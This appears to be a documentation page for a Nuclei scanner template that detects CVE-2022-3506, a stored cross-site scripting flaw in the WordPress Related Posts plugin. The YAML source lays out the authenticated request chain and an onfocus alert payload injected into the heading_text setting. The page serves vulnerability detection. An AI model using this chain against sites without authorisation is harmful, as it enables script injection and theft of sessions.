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WordPress Related Posts <2.1.3 - Stored Cross-Site Scripting

ID: CVE-2022-3506

Severity: medium

Author: arafatansari

Tags: cve2022,cve,wordpress,wp,wp-plugin,relatedposts,xss,authenticated,huntr,never5

Description

Section titled “Description”

WordPress Related Posts plugin prior to 2.1.3 contains a cross-site scripting vulnerability in the rp4wp[heading_text] parameter. User input is not properly sanitized, allowing the insertion of arbitrary code that can allow an attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2022-3506


info:
  name: WordPress Related Posts <2.1.3 - Stored Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    WordPress Related Posts plugin prior to 2.1.3 contains a cross-site scripting vulnerability in the rp4wp[heading_text] parameter. User input is not properly sanitized, allowing the insertion of arbitrary code that  can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
  remediation: |
    Update to the latest version of the WordPress Related Posts plugin (2.1.3 or higher) to mitigate the vulnerability.
  reference:
    - https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828/
    - https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828
    - https://github.com/barrykooij/related-posts-for-wp/commit/37733398dd88863fc0bdb3d6d378598429fd0b81
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3506
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-3506
    cwe-id: CWE-79
    epss-score: 0.00144
    epss-percentile: 0.50194
    cpe: cpe:2.3:a:never5:related_posts:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: never5
    product: related_posts
    framework: wordpress
  tags: cve2022,cve,wordpress,wp,wp-plugin,relatedposts,xss,authenticated,huntr,never5


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=rp4wp HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/options.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        option_page=rp4wp&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Drp4wp&rp4wp%5Bautomatic_linking%5D=1&rp4wp%5Bautomatic_linking_post_amount%5D=3&rp4wp%5Bheading_text%5D=%22+autofocus+onfocus%3Dalert%28document.domain%29%3E&rp4wp%5Bexcerpt_length%5D=15&rp4wp%5Bcss%5D=.rp4wp-related-posts+ul%7Bwidth%3A100%25%3Bpadding%3A0%3Bmargin%3A0%3Bfloat%3Aleft%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%7Blist-style%3Anone%3Bpadding%3A0%3Bmargin%3A0%3Bpadding-bottom%3A20px%3Bclear%3Aboth%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%3Ep%7Bmargin%3A0%3Bpadding%3A0%3B%7D%0D%0A.rp4wp-related-post-image%7Bwidth%3A35%25%3Bpadding-right%3A25px%3B-moz-box-sizing%3Aborder-box%3B-webkit-box-sizing%3Aborder-box%3Bbox-sizing%3Aborder-box%3Bfloat%3Aleft%3B%7D
      - |
        GET /wp-admin/options-general.php?page=rp4wp&settings-updated=true HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - "contains(header_4, 'text/html')"
          - "status_code_4 == 200"
          - 'contains(body_4, "value=\"\" autofocus onfocus=alert(document.domain)>")'
          - "contains(body_4, 'The amount of automatically')"
        condition: and


    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'name="_wpnonce" value="([0-9a-z]+)" />'
        internal: true
        part: body
# digest: 4a0a00473045022100f8ffba6dad0c7520f8afacc4a944e9c68b4d1a8267b40e844a71e9d42825060c02206d65aa768d2f26cf50acd845304cad9083932f1e2dfb353adb37ab9bd6521760:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-3506.yaml"

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